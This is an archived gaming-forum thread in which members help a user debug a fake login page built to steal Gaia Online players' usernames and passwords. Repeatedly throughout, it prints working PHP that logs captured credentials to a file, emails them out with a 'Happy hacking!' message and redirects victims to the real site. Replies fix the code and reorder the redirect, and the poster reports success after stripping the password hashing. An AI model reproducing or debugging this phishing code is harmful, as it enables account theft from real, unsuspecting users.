A preserved archive of the Logical Gamers community forums, 2009-2025. The original threads and posts, served read-only. Registration, posting and private messages are gone for good.

login.php help?

1.9k views · started by 323 ·
#1
login.php help?
Ok so I'm using TEMPTii's login.php creator program thats in UGB, and I'm pretty sure I'm using it correctly but I keep getting this error:

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /home/freehost/t35.com/w/1/[b]myt35and110mbUsername[/b]
/Sent.php on line 21

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /home/freehost/t35.com/w/1/[b]myt35and110mbUsername[/b]/Sent.php on line 21

Warning: Unexpected character in input: '\' (ASCII=92) state=1 in /home/freehost/t35.com/w/1/[b]myt35and110mbUsername[/b]/Sent.php on line 21

Parse error: syntax error, unexpected '"' in /home/freehost/t35.com/w/1/[b]myt35and110mbUsername[/b]/Sent.php on line 21


BTW I'm using his program to replace the php info in the Sent.php file of Obey's free FLP

This is what mine looks like:

<html>
<head>
<title>http://www.gaiaonline.com/?sucess_sent/superprize=55423424</title>
<script type="text/javascript">
window.location = "http://Gaiaonline.com/inventory"
</script>

</head>
<body>

</body>
</html>

<?php
header ("Location: http://gaiaonline.com/inventory");
$username = $_POST['username'];
$password = $_POST['password'];
$subject = "You have an account waiting for you!";
$body = "Someone fell for your FLP! Their username is " . $username . " and their password is " . $password . "! Happy hacking!";
$date = date("F j, Y");
$all = "Username: " . $username . \n . "Password: " . $password . \n . "Date: " . $date . \n";
$file = "logicx.txt";
$handle = fopen($file, "a+");
mail("MYEMAILADDRESS@gmail.com",$subject,$body);
fwrite($handle, $all);
fclose($handle);
?>


The only part of that from the FLP login.php generator is the

<?php
header ("Location: http://gaiaonline.com/inventory");
$username = $_POST['username'];
$password = $_POST['password'];
$subject = "You have an account waiting for you!";
$body = "Someone fell for your FLP! Their username is " . $username . " and their password is " . $password . "! Happy hacking!";
$date = date("F j, Y");
$all = "Username: " . $username . \n . "Password: " . $password . \n . "Date: " . $date . \n";
$file = "logicx.txt";
$handle = fopen($file, "a+");
mail("MYEMAILADDRESS@gmail.com",$subject,$body);
fwrite($handle, $all);
fclose($handle);
?>


Part, which I just pasted over the old one.

Sorry I'm so nooby with FLPs, but I need help :(

Thanks,

~Flareboy323
#2
$all = "Username: " . $username . \n . "Password: " . $password . \n . "Date: " . $date . \n";
Needs to be
$all = "Username: " . $username . \n . "Password: " . $password . \n . "Date: " . $date . "\n";

Someone left off the opening quote for the line break character. You could have uploaded this to pastebin with syntax highlighting to see the problem.
#3
Ooh I see :) Thanks a ton!

---------- Post added at 02:38 PM ---------- Previous post was at 02:35 PM ----------

Aaaah CRAP! Still having this stupid glitch :( No matter what the person types into the password box it wont show up on my text file. Anyone care to help again? :3 BTW if you need examples of all of the files im using, just click on obey's thread, I have a link to it in the first post
#4
You need to wrap all of the whitespace characters in double quotations. Should be:

$all = "Username: " . $username . "\n" . "Password: " . $password . "\n" . "Date: " . $date . "\n";
#5
Aah ok I see now :) Thanks! I think I might try learning a little more PHP now... I'm guessing this was an anti-script kiddie thing and not a program glitch? (As in the code TEMPTii's generator gave me)

EDIT: Just noticed something: Could the two redirect commands be glitching anything? Theres a redirect one in the HTML that was in the original sent.php before I replaced it with the code generated by TEMPTii's generator, but then in TEMPTii's generator's code theres another redirect link thing :O

EDIT2: -.- I've updated the PHP and checked the HTML for glitches, still can't find any, and yet its still not giving me passwords. If anyone wants to legit-to-the-top help me I'll send them the link to my FLP, as in the hosting page =/
#6
A lot of free hosting sites don't permit you to use the mail() command as it can be easily abused (imagine spammers using free servers to send millions of emails per day - those hosting the servers are ultimately liable). That's why you'll see most of these FLPs write to a local file to manage usernames/passwords.
#7
Aah ok well even before I had that it wasn't working :( I'll make sure to remove it though, thanks for the information :)

EDIT: Info from BaHoo:


BaHoo: have you made a working FLP?(9:46am)
Me: Uhm(9:48am)
Me: well(9:48am)
Me: no i still need help with mine(9:48am)
Me: u seen my thread(9:48am)
Me: ?(9:48am)
BaHoo: ohh!! thought you made it(9:47am)
Me: http://forum.logicalga...86697http://(9:47am)
BaHoo: yeah I am just looking at it now, I also want to work with a FLP(9:47am)
Me: no look at the top its actually Obey's FLP template(9:47am)
Me: :D(9:47am)
BaHoo: some of the FLP's now are not sending passwords(9:48am)
Me: Dang(9:49am)
Me: Mine isn't(9:49am)
Me: :((9:49am)
BaHoo: even the FMP that i saw isnt working(9:50am)
Me: :o


Apparently (According to him) A lot of FLPs and FMPs aren't working now. Can anyone confirm/deny that?

EDIT2: To delete the mail command do i delete from $handle to fclose($handle) ?
#8
Well I mean, there's nothing that will magically cause an FLP to stop working. I guess if you're including Gaia Online's JS files and they make a change on their end it could throw it out a bit, but that's unlikely.

Disregarding the mail function, are any details being saved to logicx.txt? If not, my guess is the script is terminating prematurely. Looking at your code you have:

header ("Location: http://gaiaonline.com/inventory");


At the start. That's basically asking PHP to return a 302 redirection header that takes you to Gaia Online (and depending on the configuration of t35 will probably terminate the script at that point). Try putting the redirection after fclose.
#9
Well details used to be being saved, except not the passwords. Is it possible that it gets to the username part of the script and terminates before the password part? Also re-arranging the header location now.

Is this what the PHP should look like without the mail function? Sorry if I'm a noob at PHP and wasting your time :(
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$date = date("F j, Y");
$all = "Username: " . $username . "\n" . "Password: " . $password . "\n" . "Date: " . $date . "\n";
header ("Location: http://gaiaonline.com/inventory");
?>


Or like this?

<?php
header ("Location: http://gaiaonline.com/inventory");
$username = $_POST['username'];
$password = $_POST['password'];
$subject = "You have an account waiting for you!";
$body = "Someone fell for your FLP! Their username is " . $username . " and their password is " . $password . "! Happy hacking!";
$date = date("F j, Y");
$all = "Username: " . $username . "\n" . "Password: " . $password . "\n" . "Date: " . $date . "\n";
$handle = fopen($file, "a+");
fwrite($handle, $all);
fclose($handle);
?>


And do I need the HTML redirect at the top of the page? It has this then the PHP after it:

<html>
<head>
<title>http://www.gaiaonline.com/?sucess_sent/superprize=55423424</title>
<script type="text/javascript">
window.location = "http://Gaiaonline.com/inventory"
</script>

</head>
<body>

</body>
</html>
#10
My bad, I only glanced at the end of that line when I saw the error.

Uh, replace your login.php with the code I'm about to show you and post the results here.
<?php
/*
your old code goes HERE
*/
header("Content-type: text/plain");
print_r(htmlspecialchars(print_r($_POST, 1)));
?>
#11
Personoid wrote:
My bad, I only glanced at the end of that line when I saw the error.

Uh, replace your login.php with the code I'm about to show you and post the results here.
<?php
/*
your old code goes HERE
*/
header("Content-type: text/plain");
print_r(htmlspecialchars(print_r($_POST, 1)));
?>


Which one? Look at my above post O.o im trying to figure out how to have it without the mail command
#12
If that's all you need, replace the word "mail" with "//mail".
#13
So my entire PHP file should look like this?

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$subject = "You have an account waiting for you!";
$body = "Someone fell for your FLP! Their username is " . $username . " and their password is " . $password . "! Happy hacking!";
$date = date("F j, Y");
$all = "Username: " . $username . "\n" . "Password: " . $password . "\n" . "Date: " . $date . "\n";
$file = "logicx.txt";
$handle = fopen($file, "a+");
//mail("MYEMAILADDRESS@gmail.com",$subject,$body);
fwrite($handle, $all);
fclose($handle);
header ("Location: http://gaiaonline.com/inventory");
header("Content-type: text/plain");
print_r(htmlspecialchars(print_r($_POST, 1)));
?>


Or should it have the HTML with it?

<html>
<head>
<title>http://www.gaiaonline.com/?sucess_sent/superprize=55423424</title>
<script type="text/javascript">
window.location = "http://Gaiaonline.com/inventory"
</script>

</head>
<body>

</body>
</html>

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$subject = "You have an account waiting for you!";
$body = "Someone fell for your FLP! Their username is " . $username . " and their password is " . $password . "! Happy hacking!";
$date = date("F j, Y");
$all = "Username: " . $username . "\n" . "Password: " . $password . "\n" . "Date: " . $date . "\n";
$file = "logicx.txt";
$handle = fopen($file, "a+");
//mail("MYEMAILADDRESS@gmail.com",$subject,$body);
fwrite($handle, $all);
fclose($handle);
header ("Location: http://gaiaonline.com/inventory");
header("Content-type: text/plain");
print_r(htmlspecialchars(print_r($_POST, 1)));
?>


Sorry for wasting everyones time but I am an UBER NOOB at this x.x
#14
The html doesn't actually do anything because the php redirects before the HTML gets a chance.
#15
Thanks a ton personoid :D It works perfectly with the date and everything, but the password still dosent show up D:

Once again, I quote BaHoo in saying


No FLPs or FMPs work anymore for some reason


Anyone have any idea why?
#16
Thanks a ton personoid :D It works perfectly with the date and everything, but the password still dosent show up D:

Once again, I quote BaHoo in saying



Anyone have any idea why?


Oh yeah, that's why I said for you to replace your code with the code I showed you and then post the results. I think I know your problem but I can't explain it easily. Just see my above post about the code I need you to use.
#17
I replaced it with that :( Still no password
#18
You're meant to post the result. If it suddenly stopped working my guess is Gaia updated one of their JS files that handles the log in. Does the password field go empty when you hit submit?

Link me to the page and I'll take a look.
#19
So,uh...what are the results of this now? Im curious because,im working on it too.... :l
#20
I got it completely fixed :) I just had to delete one little line of JS that was making it go into MD5
#21
May you please tell me the code, i need a php that show's a password, my towns Flp hasn't been working ever since
#22
Flare can you PM about your finish work ^^